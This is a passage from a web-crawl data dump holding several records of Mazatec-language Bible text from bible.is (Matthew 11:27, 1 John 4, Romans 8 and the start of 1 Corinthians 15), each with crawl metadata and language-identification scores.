Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/2\/13","date":"2014-03-08T15:47:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999655040\/warc\/CC-MAIN-20140305060735-00039-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9999871254,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 0.9999871253967285}","num_words":49,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.283,"stopwords_ratio":0.388,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"27'Ngats'iì kjoa̱ ts'e̱ kjo̱tíxoma, 'a̱án kisìnga̱tsja‑na Na̱'èn‑na̱. Mìtsà yá xi beèxkon yá‑né xi Ki'ndí‑la̱ ma, ta̱jngoò jè xi Na̱'èn ma; ti̱koa̱á mìtsà yá xi beèxkon yá‑né xi Na̱'èn ma, ta̱jngoò jè xi Ki'ndí‑la̱ beèxkon; ko̱ jè Ki'ndí‑la̱ ko̱kò‑la̱ jñà xi̱ta̱ xi jè mejèn‑la̱ nga skoe̱xkon, yá‑né xi Na̱'èn ma.\nSan Mateo 11:27\nFREE!\nOne App.\n1002 Languages.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/11\/27","date":"2014-07-24T18:35:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997890199.39\/warc\/CC-MAIN-20140722025810-00107-ip-10-33-131-23.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":55,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.275,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Jñò ndí 'ndsè xi 'ñó matsjake̱‑nò, kì ta̱xki̱ mokjeiín‑nò i̱t'aà ts'e̱ ngats'iì xi̱ta̱ xi tsò nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá síkíchi̱ya‑la̱ 'én xi chja̱ya. Ítjòn chít'aà, a kixi̱í kjoa̱ nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá tísíchi̱ya‑la̱ 'én xi chja̱, a xi majìn‑né. Nga̱ jñà na̱chrjein xi titsa̱jnaá i̱'ndei̱, tjín jchán xi̱ta̱ ndiso xi tjímasòn ya̱ i̱sò'nde xi tsò nga jè Nainá tsjá‑la̱ 'én xi nchibéno̱jmíya. 2Jè xi̱ta̱ xi béno̱jmí nga jè Jesucristo, i̱í kits'iìn i̱t'aà nangui, ko̱ xi̱ta̱á komà koni jñá, jè xi̱ta̱ xi k'oa̱s'ín béno̱jmí, jè‑né xi tjín‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. K'oa̱á s'ín 'ya‑nò yá xi̱ta̱‑ne xi jè Ini̱ma̱ Tsjeè‑la̱ Nainá tísíchi̱ya‑la̱ 'én xi tíchja̱ya. 3Ta̱nga jè xi̱ta̱ xi mìkiì k'oa̱s'ín ke̱èno̱jmí nga jè Jesucristo i̱í kits'iìn i̱t'aà nangui, ko̱ xi̱ta̱á komà koni jñá, jè xi̱ta̱ xi k'oa̱s'ín tsò, tsjìn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. Xi̱ta̱ jè, jè tísíkjeén kjo̱hítsjeèn‑la̱ xi̱ta̱ xi tíjna ítjòn nga kondra̱ fì‑la̱ Cristo. Jñò, jyeé kina'yà nga kjoi̱í‑né jè xi kondra̱ fì‑la̱ Cristo, ko̱ na̱chrjein xi titsa̱jnaá i̱'ndei̱ jyeé k'oa̱s'ín tísíxá kjo̱hítsjeèn‑la̱. 4Jñò xi ndí i̱xti‑na̱ xan‑nò, jyeé xi̱ta̱‑la̱ Nainá 'mì‑nò; jñò, jyeé kinìkijne‑là jñà xi̱ta̱ xi k'oa̱s'ín 'én ndiso chja̱ya; mì ti̱ kiì ko̱ma‑ne nga jñà skóna̱cha̱n‑nò, nga̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá xi tíjnajiìn ini̱ma̱‑nò, ìsa̱á ts'e̱ nga'ñó tjín‑la̱ mì k'oa̱à‑ne koni jè kjo̱hítsjeèn ts'e̱ xi̱ta̱ nei̱í xi síxájiìn ini̱ma̱‑la̱ xi̱ta̱ xi mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. 5Jñà xi̱ta̱ koi, tà jñá títsa̱jnakon‑ne kjo̱hítsjeèn xi tjín ya̱ i̱sò'nde; k'oa̱á ma‑ne nga k'oa̱s'ín chja̱ ko̱ jñà 'nchré‑la̱ xi̱ta̱ xi ti̱koa̱ kjo̱hítsjeèn ts'e̱ i̱sò'nde síkjeén. 6Ta̱nga ngaje̱n, xi̱ta̱‑la̱ Nainá‑náje̱n. K'oa̱á ma‑ne nga jñà 'nchré‑naje̱n jñà xi̱ta̱ xi mokjeiín‑la̱ 'én‑la̱ Nainá. Ta̱nga jñà xi mìtsà xi̱ta̱‑la̱ Nainá ma, mìtsà ngaje̱n sís'in‑naje̱n. K'oa̱á ma‑ne nga 'ya‑la̱ yá‑né xi nguì jè Ini̱ma̱ Tsjeè‑la̱ Nainá tísíkíchi̱ya‑la̱ nga nguì kjoa̱ kixi̱ ko̱ yá‑né xi ini̱ma̱ ndiso‑la̱ nei̱í tíkona̱cha̱n‑la̱. 7Jñò ndí 'ndsè xi 'ñó matsjake̱‑nò, mochjeén‑né nga ngásòn ngáya tsjacha jcha̱á xinguia̱á, nga̱ jè xi kjo̱tsjacha, i̱t'aà ts'e̱ Nainá nchrobá‑ne. Ngats'iì xi̱ta̱ xi tjín‑la̱ kjo̱tsjacha, ki'ndí‑la̱ Nainá‑né ko̱ ti̱koa̱á beè‑né yá‑né xi Nainá. 8Jè xi̱ta̱ xi mìkiì matsjakeè xi̱ta̱ xíkjín, kj'eè kì beè yá‑né xi Nainá, nga̱ jè Nainá kjo̱tsjacha‑né. 9K'oa̱á s'ín tsakó‑ná Nainá kjo̱tsjacha xi tjín‑la̱ xi i̱t'aà tsa̱ján nga kisìkasén ki'ndí‑la̱ i̱ i̱sò'nde, jè ki'ndí‑la̱ xi ta jè ta jngoò ma‑ne, mé‑ne nga i̱t'aà ts'e̱ ndaà ki̱tsa̱jnakoaán. 10K'oa̱á s'ín tjín kjo̱tsjacha xi tsakó Nainá xi i̱t'aà tsa̱ján: Mìtsà koi‑ne nga jñá ndaà matsjachaá Nainá. Jè Nainá xi 'ñó ndaà matsjakeè‑ná. K'oa̱á ma‑ne nga kisìkasén ki'ndí‑la̱ nga k'en ngajo‑ná, mé‑ne si̱ìjchàat'aà‑ná jé‑ná. 11Jñò ndí 'ndsè xi matsjake̱‑nó, tsà jè Nainá k'oa̱s'ín 'ñó ndaà matsjakeè‑ná, mochjeén‑né nga k'oa̱ ti̱s'ín ko̱tsjachaá xinguia̱á nga ìjngoò jngoá. 12Ni̱ sa̱á jngoò xi̱ta̱ xi xko̱n beè‑ne Nainá, ta̱nga tsà ndaà ko̱tsjachaá xinguia̱á nga ìjngoò jngoá, jè Nainá ya̱á tíjnajiìn kjit'aà ini̱ma̱‑ná ko̱ i̱t'aà tsa̱ján‑ná nga ndaà tíbitasòn yije kjo̱tsjacha‑la̱ Nainá. 13Nainá jyeé kitsjaà‑ná Ini̱ma̱ Tsjeè‑la̱. K'oa̱á ma‑ne nga jye 'yaá nga kjit'aà na̱chrjein ya̱ titsa̱jnakoa̱á Nainá ko̱ ti̱koa̱á ya̱ tíjnako̱‑ná Nainá nga tíjnajiìn ini̱ma̱‑ná. 14Ngaje̱n sobá ki'ya‑je̱n ko̱ 'bí‑náje̱n 'én‑na̱je̱n nga jè Nainá xi Na̱'èn 'mì‑laà kisìkasén Ki'ndí‑la̱ nga jè ko̱chrjekàjiìn kjo̱'in xi kjoa̱ ts'e̱ jé‑la̱ ngats'iì xi̱ta̱ i̱sò'nde. 15Ngats'iì xi̱ta̱ xi nguì ko̱ ini̱ma̱‑la̱ tsjá 'én‑la̱ nga jè Jesús xi Ki'ndí‑la̱ Nainá, kjit'aà na̱chrjein ya̱ tíjnako̱ Nainá ko̱ jè Nainá ya̱á tíjnajiìn ini̱ma̱‑la̱. 16Jyeé k'oa̱s'ín ndaà 'yaá, ko̱ ti̱koa̱ mokjeiín‑ná, nga jè Nainá tjín‑la̱ kjo̱tsjacha xi i̱t'aà tsa̱ján. Nga̱ jè Nainá kjo̱tsjacha‑né. Ko̱ jè xi̱ta̱ xi kjo̱tsjacha tíjnajiìn kjit'aà ya̱ ini̱ma̱‑la̱, ya̱á tíjnako̱ Nainá ko̱ jè Nainá ya̱á tíjnajiìn ini̱ma̱‑la̱ xi̱ta̱ jè. 17K'e̱ nga i̱t'aà tsa̱ján k'oa̱s'ín ndaà tíbitasòn yije kjo̱tsjacha‑la̱ Nainá, 'ñó tjín takoán nga mìtsà ti̱ mé tsakjoòn‑ná jè na̱chrjein k'e̱ nga si̱ndaàjiìn‑la̱ xi̱ta̱ xi kjoa̱ ts'e̱ jé‑la̱. Nga̱ jñá, k'oa̱á s'ín ndaà titsa̱'né i̱ i̱sò'nde koni s'ín kis'iìn jè Jesucristo. 18Ya̱ ñánda nga tjín xi kjo̱tsjacha, mìtsà ti̱ mé kjo̱skon tjín‑ne. Nga̱ jè xi nguì kjo̱tsjacha, faáxìn‑né ngats'iì xi kjo̱skon 'mì. Jè xi̱ta̱ xi tsakjón, kjo̱'in‑né xi tsakjón‑la̱. Ko̱ jè xi̱ta̱ xi tákó kjo̱skon tíjiìn ini̱ma̱‑la̱, koií‑né nga kj'eè tsà ndaà tíjiìn ini̱ma̱‑la̱ jè kjo̱tsjacha‑la̱ Nainá. 19Koií k'oa̱s'ín matsjacha‑ná Nainá, koií kjoa̱‑la̱ nga̱ jè kjòtsjakeè ítjòn‑ná. 20Tsà tjín xi̱ta̱ xi tsò: \"'A̱n, matsjake̱‑ná Nainá.\" Ta̱nga tsà majtikeè xi̱ta̱ xíkjín xi ti̱koa̱ i̱t'aà ts'e̱ Cristo mokjeiín‑la̱, jè xi̱ta̱ jè, xi̱ta̱ ndiso‑né. Tsà mì kì matsjakeè xi̱ta̱ xíkjín xi xko̱n tíbeè‑ne, ¿kós'ín ma‑ne ko̱tsjakeè Nainá xi kj'eè tsà xko̱n beè‑ne? 21Jè kjo̱tíxoma xi kitsjaà‑ná Jesucristo, k'oa̱á tsò: Jè xi matsjakeè Nainá, mochjeén‑né nga ti̱koa̱ kàtamatsjakeè xi̱ta̱ xíkjín xi ti̱koa̱ i̱t'aà ts'e̱ Cristo mokjeiín‑la̱.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/1John\/4","date":"2017-08-18T11:22:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886104634.14\/warc\/CC-MAIN-20170818102246-20170818122246-00023.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":738,"character_repetition_ratio":0.09,"word_repetition_ratio":0.019,"special_characters_ratio":0.224,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Tanga 'ndi̱ 'ndi̱, mì tsa ti̱ mé kjo̱hi'in tjín‑ni a̱'ta 'tse̱ xi̱ta̱ ra ya̱ títsa̱jnako̱ Cristo, [jñà xi̱ta̱ ra mì tsa ti̱ ko̱'sín i̱nchisíjchá‑ni ijo‑la̱ koni 'sín tjín kjoa̱'cho ra síjé ijo‑ná; nga 'koa̱á 'sín i̱nchisíjchá ijo‑la̱ koni 'sín síjé jè Inìma̱ Tsje‑la̱ Nainá]. 2Jé nga'ñó‑la̱ Inìma̱ Tsje‑la̱ Nainá tsjá‑ná kjo̱binachon 'kia̱ nga ya̱ titsa̱jnake̱é jè Cristo; ko̱ jé síkíjnandi̱í‑ná a̱'ta 'tse̱ nga'ñó ra tjín‑la̱ kjoa̱ 'tse̱ jé ko̱ jè kjo̱biya. 3Jè kjo̱téxoma 'tse̱ Moisés mì kì ki'se‑la̱ nga'ñó nga isíkítsa̱jnandi̱í‑ná ra kjoa̱ 'tse̱ jé‑ná, ta nga̱tjì‑la̱ jè ijo‑ná ta jñá bátsji kjoa̱ 'tse̱ jé ra tjín ya̱ i̱sà'nde. Jè kjoa̱ ra mì kì ichìkjoa̱‑la̱ jè kjo̱téxoma, jé‑ní ra Nainá ki'sìn 'kia̱ nga isìkasén jè I'ndí‑la̱ koni jngo xi̱ta̱ i̱sà'nde ra ijo ki'se‑la̱ koni jñà xi̱ta̱ ra tjín‑la̱ jé. Kitsjà kjo̱tjó ijo‑la̱ I'ndí‑la̱ nga 'ken, ta nga̱tjì‑la̱ ra kjoa̱ 'tse̱ jé‑ná. Nainá, 'koa̱á 'sín ki'sìn nga jngó‑kjá tsjahíxìn jè kjoa̱ 'tse̱ jé ra tjín‑la̱ ijo‑ná. 4Nainá kií ko̱'sín ki'sìn‑ni mé‑ni nga a̱'ta tsa̱jién katitjasòn‑ni koni 'sín síjé kjo̱hixi̱ 'tse̱ kjo̱téxoma, jién ra mì tsa ti̱ ko̱'sín i̱nchiníjchá‑ná ijo‑ná koni 'sín mejèn‑la̱ ijo jé‑ná, nga̱ ijyeé ko̱'sín i̱nchiníjché ijo‑ná koni 'sín mejèn‑la̱ jè Inìma̱ Tsje‑la̱ Nainá. 5Jñà xi̱ta̱ ra ko̱'sín 'sín koni 'sín síjé ijo jé‑la̱, ta jñá i̱nchisíkítsjen jñà kjoa̱ ra mejèn‑la̱ ijo‑la̱; tanga jñà ra ko̱'sín 'sín koni 'sín nga síjé Inìma̱ Tsje‑la̱ Nainá, jñá i̱nchisíkítsjen jñà kjoa̱ ra mejèn‑la̱ Inìma̱ Tsje‑la̱ Nainá. 6'Kia̱ nga ta jñá níkítsjeén jñà kjoa̱ ra mejèn‑la̱ ijo‑ná, kjo̱biyaá fìko̱‑ná. Tanga 'kia̱ nga jñà níkítsjeén jñà kjoa̱ ra mejèn‑la̱ Inìma̱ Tsje‑la̱ Nainá, jè 'se̱‑ná ra kjo̱binachon ko̱ ra kjo̱'nchán. 7Jñà kjo̱bítsjen 'cho ra ta jè kájno‑la̱ ijo‑ná, kondra̱ 'tse̱ Nainá‑ní. Nga̱ mì kì mejèn‑la̱ ko̱ mì kì ma‑la̱ síhitjasòn kjo̱téxoma ra 'tse̱ Nainá. 8Ko̱ jñà xi̱ta̱ ra ko̱'sín 'sín koni 'sín tjín kjoa̱ ra síjé ijo‑la̱, mì kì ma‑la̱ nga 'si̱in kjoa̱ ra sasén‑la̱ Nainá. 9Tanga ra jiòn‑jiòn, mì tsa ti̱ ko̱'sín i̱nchiníjchá‑no ijo‑no koni 'sín mejèn‑la̱ ijo jé‑no; 'koa̱á 'sín titsa̱jna jiòn 'ndi̱ 'ndi̱ koni 'sín tjín ra síjé jè Inìma̱ Tsje‑la̱ Nainá nga ijyeé ya̱ tíjnajin inìma̱‑no jè Inìma̱ Tsje‑la̱ Nainá. Jñà xi̱ta̱ ra tsìn‑la̱ Inìma̱ Tsje‑la̱ Nainá ra tsjá jè Cristo, mì tsa xi̱ta̱ 'tse̱ Cristo‑jìn. 10Ijyeé ya̱ tíjnajin ya̱ inìma̱‑no jè Cristo, 'koa̱á ma‑ni nga jè inìma̱‑no tíjnakon, ta nga̱tjì‑la̱ nga ijyeé xi̱ta̱ kixi̱‑najiòn ya̱ ngixko̱n Nainá; ni̱'sín jè ijo‑no ijyeé ko̱'sín tjínè‑la̱ nga ki̱yá ta nga̱tjì‑la̱ ra kjoa̱ 'tse̱ jé. 11'Kia̱ nga ya̱ tíjnajin inìma̱‑no jè Inìma̱ Tsje‑la̱ Nainá ra isikjaáya‑la̱ Jesucristo a̱'ta 'tse̱ kjo̱biya, Nainá, 'koa̱á ti̱'sín jè si̱íkítsa̱jnakon india‑ni ijo‑najiòn ra a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ ra ya̱ tíjnajin inìma̱‑no. 12Jién ra 'ndsé chibé, tíjnaá jngo‑ná ra machjeén‑la̱ nga nda si̱hitjasón‑lá; tanga mì tsa jè‑jìn ijo‑ná ra machjeén‑la̱ takó ko̱'sín si̱hitjasón‑lá koni 'sín tjín kjoa̱'cho ra síjé. 13Nga̱ tsa takó ko̱'sín 'sia̱an jiòn nga ya̱ kongí'ta‑la kjoa̱'cho ra mejèn‑la̱ ijo jé‑no, ki̱yá‑nájiòn. Tanga tsa ki̱'nde‑la jè Inìma̱ Tsje‑la̱ Nainá nga jngó‑kjá katjahíxìn kjoa̱'cho ra mejèn‑la̱ ijo jé‑no, ki̱tsa̱jnakon‑no. 14Nga̱ nga'tsì jñà xi̱ta̱ ra jè Inìma̱ Tsje‑la̱ Nainá síchi̱ya‑la̱ kó'sín nga 'si̱in, jñá‑ní ra i̱xti‑la̱ Nainá 'mì. 15Mì tsa jè kitsjá‑ná Nainá jngo inìma̱ ra takó ya̱ síkíjnajin'ñó‑ná ra kjoa̱ 'tse̱ jé nga ya̱ ki̱tsa̱jin iseé ra kjo̱skon; jè Inìma̱ Tsje‑la̱ Nainá ra kitsjá‑ná, jé‑ní ra kjábétjò‑ná nga i̱xti‑la̱ Nainá ka̱meé, ra skanda maá 'mí‑lá Nainá ra a̱'ta 'tse̱: \"Ji̱ A̱pá.\" 16Jè Inìma̱ Tsje‑la̱ Nainá 'béna̱jmí kixi̱‑la̱ jè inìma̱‑ná, nga ngi kixi̱í kjoa̱ nga i̱xti‑la̱ Nainá 'mí‑ná. 17'Kia̱ nga ijye i̱xti‑la̱ Nainá 'mì‑ná, ti̱'koa̱á tsa̱jién‑ná kjo̱tjò ra tjínda‑la̱ Nainá koni 'sín ijye kitsjà tsa'ba nga tsjá‑ná; kjo̱tjò kìi̱ ya̱á ta̱ña tjábé‑ná ko̱ jè Cristo, tsa ti̱'koa̱ i̱nchinikjiín‑te kjo̱hi'in koni 'sín isìkjiín kjo̱hi'in ra jè, mé‑ni nga 'kia̱ ko̱ma a̱skan‑nioo̱, ya̱á ta̱ña jeya ki̱tsa̱jnake̱é. 18'A̱n, 'koa̱á ma‑na, koni 'sín tjín kjo̱hi'in ra i̱nchinikjieén 'ndi̱‑ni̱, mì kì mangásòn‑ko̱ koni 'sín tjín kjoa̱jeya‑la̱ Nainá ra 'se̱‑ná 'kia̱ nga ko̱ma a̱skan‑nioo̱. 19Nga'tsì ra jè Nainá tsikínda ra tjín ya̱ i̱sà'nde, 'ñó i̱nchikoñá‑la̱ nga mejèn‑la̱ nga ske̱ jè ni̱chjin 'kia̱ nga jè Nainá ko̱kòn tsijen yá kjòn‑ni ra i̱xti‑la̱ ma. 20Nga'tsì ra jè Nainá tsikínda, jngó‑kjá itsón‑jin‑ní koni 'sín tjínè‑la̱ nga ko̱chjeén kjòn‑ni, tanga mì tsa ki‑ni nga ta jñá ko̱'sín kjomejèn‑la̱; kií‑ní nga jè Nainá ijye ko̱'sín iskosòn‑la̱; tanga takó i̱nchikoñá‑ní 21nga ki̱jchó jè ni̱chjin 'kia̱ nga ti̱'koa̱ kítsa̱jnandi̱í‑ni a̱'ta 'tse̱ kjoa̱ ra ma‑la̱ síkitsón‑jin nga ki̱jchòtji̱ngi‑la̱ kjoa̱jeya ra 'se̱‑te‑la̱ jñà ra i̱xti‑la̱ Nainá ma. 22'Ya‑ná nga nga'tsì ra jè Nainá tsikínda, skanda 'ndi̱ 'ndi̱ ngásòn ngáyaá i̱nchichja̱jé, ko̱ tseé kjo̱hi'in i̱nchisíkjiín koni jngo chjo̱ón ra i'ndí títsin‑la̱. 23Mì tsa tà jñà‑jìn ra i̱nchichja̱jé; ti̱'koa̱á jién ra ijye tje̱n kitsjá‑ná Nainá jè Inìma̱ Tsje‑la̱, ti̱'koa̱á 'ñó i̱nchibátéjé‑te inìma̱‑ná ra jién, nga i̱nchichiñé nga 'ñó mejèn‑ná 'kia̱ nga ska̱ábétjó‑ná Nainá nga jngó‑kjá ya̱ ki̱tsa̱jnake̱é koni i̱xti‑la̱, ko̱ jè ijo‑ná kíjnandi̱í‑ni a̱'ta 'tse̱ kjoa̱ ra síkitsón‑ná. 24'Kia̱ nga jè Cristo ijye isíkítsa̱jnandi̱í‑ná, 'koa̱á 'sín chiñá‑lá nga 'koa̱á 'sín ki̱tjasòn kjoa̱ kìi̱. Tanga tsa ijyeé‑la tí'ya‑la̱ jñà kjoa̱ ra i̱nchichiñá‑lá, mì‑la kì ti̱ mé jchíña‑isa‑lá; nga̱ jngo kjoa̱ ra ijye tí'ya‑la̱, ¿mé ra ma jchíña‑isa‑lá ra a̱'ta 'tse̱? 25Tanga tsa 'kia̱ jè jchíñá‑lá jngo kjoa̱ ra kjè batsíjen‑ná, machjeén‑ní nga jchíñakjoa̱‑la nda‑nda‑lá. 26'Koa̱á ti̱'sín tjín, nga jè Inìma̱ Tsje‑la̱ Nainá basìko̱'ta‑ná a̱'ta 'tse̱ kjoa̱ ra síhinda takén. 'Kia̱ nga mì sakó‑ná 'én kó'sín nga si̱jé‑lá Nainá 'kia̱ nga bitsa'ba‑lá, jé Inìma̱ Tsje‑la̱ Nainá bítsa'batjì‑ná jñà 'én ra mì kì ma‑ná nakjé ra jién. 27Jè Nainá ra ma‑la̱ kjó'ta kó'sín tíjna jè inìma̱‑ná, ijyeé be‑ní kó'sín tjín jè ra mejèn‑la̱ Inìma̱ Tsje‑la̱. Nga̱ jè Inìma̱ Tsje‑la̱ Nainá 'kia̱ nga bítsa'batjì xi̱ta̱ tsje‑la̱ Nainá, 'koa̱á 'sín bítsa'ba koni 'sín nga jè Nainá mejèn‑la̱. 28Tjíjin‑ná, nga nga'tsì kjoa̱ ra ma'tin jñà xi̱ta̱ ra tsjake Nainá, 'koa̱á 'sín 'sín Nainá nga basìko̱'ta tsje‑ní nga sakó‑la̱ kjo̱nda; 'koa̱á 'sín síko̱ Nainá jñà xi̱ta̱ ra xá jè kiìchja̱‑ila̱ koni 'sín nga ijye jè tjínda‑la̱, 29jñà xi̱ta̱ ra xá ko̱'sín ijye tsikí'ta xko̱n‑ni Nainá nga ti̱'sa̱ tjà'tsin‑la̱ kjoa̱; ti̱'koa̱á ijyeé ko̱'sín iskosòn‑la̱ nga ngásòn ko̱ma koni jè I'ndí‑la̱, mé‑ni nga jè ra I'ndí‑la̱, 'koa̱á 'sín kíjna koni nga I'ndí‑tjòn ya̱ ñánda̱ nga kjìn ma‑ni i̱xti 'ndse̱. 30A̱'ta 'tse̱ jñà xi̱ta̱ ra jè Nainá ijye ko̱'sín iskosòn‑la̱, ti̱'koa̱á xá kiìchja̱‑ila̱; ko̱ jñà ra xá kiìchja̱‑ila̱, ti̱'koa̱á xi̱ta̱ kixi̱í ki'sìn ra a̱'ta 'tse̱; ko̱ jñà ra xi̱ta̱ kixi̱ ki'sìn; ti̱'koa̱á kitsjá‑la̱ kjoa̱jeya‑la̱. 31¿Kó'sín kixó iseé a̱'ta 'tse̱ kjoa̱ kìi̱? 'Kia̱ nga jè Nainá tíbasiko̱tjì‑ná, ni̱yá‑la ra ma kó si̱ko̱‑ná. 32Jè Nainá nda skanda mí 'on kjomà‑la̱ jè I'ndí‑la̱, ta isa̱á kitsjà kjo̱tjó‑ní nga 'ken ngajo‑ná nga'tsì‑ná. Koni 'sín nga ijye kitsjá‑ná I'ndí‑la̱, ¿a mí ti̱'koa̱á ya̱ ta̱ña tsjá‑te‑ná ta mé kjo̱nda ra ko̱chjeén-isa‑ná? 33¿A tjín yá ra ma‑la̱ koa̱ànè jé‑isa‑ná jién ra xá Nainá jahíjin‑ná? Nga̱ jé jnchro Nainá ra ijye xi̱ta̱ kixi̱ ki'sín‑ná ra jién. 34¿A tjín yá ra ma‑la̱ nga ki̱ìnè‑isa‑ná kjo̱hi'in? Nga̱ jé jnchro Cristo Jesús ra 'ken ngajo‑ná, ti̱'koa̱á jaáya india‑ila̱ 'kia̱ nga 'ken. Ko̱ ya̱á tíjna ya̱ nga kixi̱‑la̱ Nainá nga tíbítsa'batji‑ná. 35¿A tjín yá ra ma‑la̱ ko̱chrje'taxín‑ná a̱'ta 'tse̱ kjo̱tsjacha‑la̱ Cristo? ¿A kjo̱hi'in‑ní? ¿A kjo̱ba‑ní? ¿O̱ ra jè‑ní nga mahatji̱ngi‑ná xi̱ta̱? ¿O̱ ra kjoa̱ kjijnchrá‑ni? ¿O̱ ra jè‑ní tsa tsìn‑ná nikje ra tsjayeé? ¿O̱ ra jè kjoa̱ ra kjo̱skon 'miòo̱? ¿O̱ ra jé‑ni nga si̱ì'ken‑ná xi̱ta̱? Majìn, ni̱jngo kjoa̱ kìi̱ ra ki̱chíkjoa̱‑la̱. 36Koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: Ra a̱'ta tsa̱ji, kji'tà ni̱chjin tjín‑la̱ kjo̱skon nga mejèn ki̱yá‑ji̱n, 'koa̱á 'sín betákon‑naji̱n xi̱ta̱ koni kjòn jñà forrè ra ijye tjíhijyo‑ndá nga ki̱yá. 37Tanga ni̱'sín takó ya̱ i̱nchibatojieén nga'tsì kjoa̱ kìi̱, ta isa̱á jnchro jién bato 'ñó nda i̱nchinìkijne‑lá nga jè tíbasìko̱‑ná jè Cristo ra 'ñó kjotsjake‑ná. 38'Koa̱á ma‑ni ngi tjíjngoó takoàn ra 'a̱n, nga ni̱yá‑la ra ko̱ma‑la̱ ki̱ncha'taxín‑ná ra a̱'ta 'tse̱ kjo̱tsjacha‑la̱ Nainá, ni̱ mì tsa jè kjo̱biya, ni̱ mì tsa jè kjo̱binachon, ni̱ mì tsa jñà ìkja̱li̱, ni̱ mì tsa jñá nga'ñó ra tjín ya̱ i̱sà'nde ko̱ jñà nga'ñó ra tjín ya̱ a̱jin i̱sén, ni̱ mì tsa jñà kjoa̱ ra tjín ni̱chjin 'ndi̱ 'ndi̱, ko̱ ni̱ mì tsa jñà kjoa̱ ra 'sa̱ ko̱ka̱ma, 39ni̱ mì tsa jè kjoa̱ ra isa̱ 'nga tíjna, ni̱ mì tsa jè kjoa̱ ra isa̱ na̱nga̱ tíjna, ko̱ ni̱jngo‑isa tsajmì ra jè Nainá tsikínda ma‑la̱ ki̱ncha'taxín‑ná a̱'ta 'tse̱ kjo̱tsjacha‑la̱ Nainá ra ijye tsakón‑ná a̱'ta 'tse̱ Jesucristo ra batéxoma‑ná.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/8","date":"2017-09-20T06:22:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818686465.34\/warc\/CC-MAIN-20170920052220-20170920072220-00136.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":1359,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.366,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"15\nK'e̱ nga jaáya‑la̱ Cristo\n1 I̱'ndei̱ ndí 'ndsè ko̱ tichjaá, 'a̱n mejèn‑na nga sìkítsjeèn‑nò jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi 'a̱n kichjàyajiìn‑nò xi kichjoétjò ko̱ nga kixi̱ titsa̱jnako̱o. 2 Jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi ko̱ma ko̱chrjejiìn‑nò kjo̱'in tsà kixi̱ titsa̱jnako̱o skanda i̱'ndei̱ koni s'ín nga kichjàyajiìn‑nò nga ti̱sa̱ ítjòn; tsà majìn, ni̱mé chjí‑la̱ nga kòkjeiín‑nò.\n3 Jè kjoa̱ xi ìsa̱ 'ñó tjín, jè‑né nga ko̱s'ín tsakoòya‑nò koni tjín xi 'a̱n kitjoé‑na, nga jè Cristo k'en ngajo‑ná xi kjoa̱ ts'e̱ jé‑ná nga k'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá; 4 nga kisìhijiìn, koa̱ nga ijchò jàn na̱chrjein jaáya‑la̱, koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá. 5 K'e̱ nga jaáya‑la̱, tsakó‑la̱ yijo‑la̱ jè Cefas [ti̱jè‑ne Pedro], i̱kjoàn tsakó‑la̱ yijo‑la̱ jñà xi̱ta̱‑la̱ xi i'nga, ya̱ tejò ma‑ne ko̱ Pedro. 6 Xi komà i̱skan, tsato 'òn sìndo̱ ma‑ne xi̱ta̱ 'ndsè xi títsa̱jnajtín nga tsakó‑la̱ yijo‑la̱. Jñà xi̱ta̱ koi, tjín i'nga xi jye k'en, ta̱nga kjìn ma xi tákó títsa̱jnakon skanda i̱'ndei̱. 7 I̱kjoàn tsakó‑la̱ yijo‑la̱ jè Jacobo. Xi komà i̱skan tsakó yije‑la̱ yijo‑la̱ jñà xi̱ta̱‑la̱ xi tsibíxáya‑la̱.\n8 Xi jyehet'aà‑ne, i̱kjoàn 'a̱án tsakó‑na yijo‑la̱. 'A̱n, k'oa̱á s'ín ngaya‑la̱ koni tsà jngoò ki'ndí xi mì jé na̱chrjein kits'iìn koni 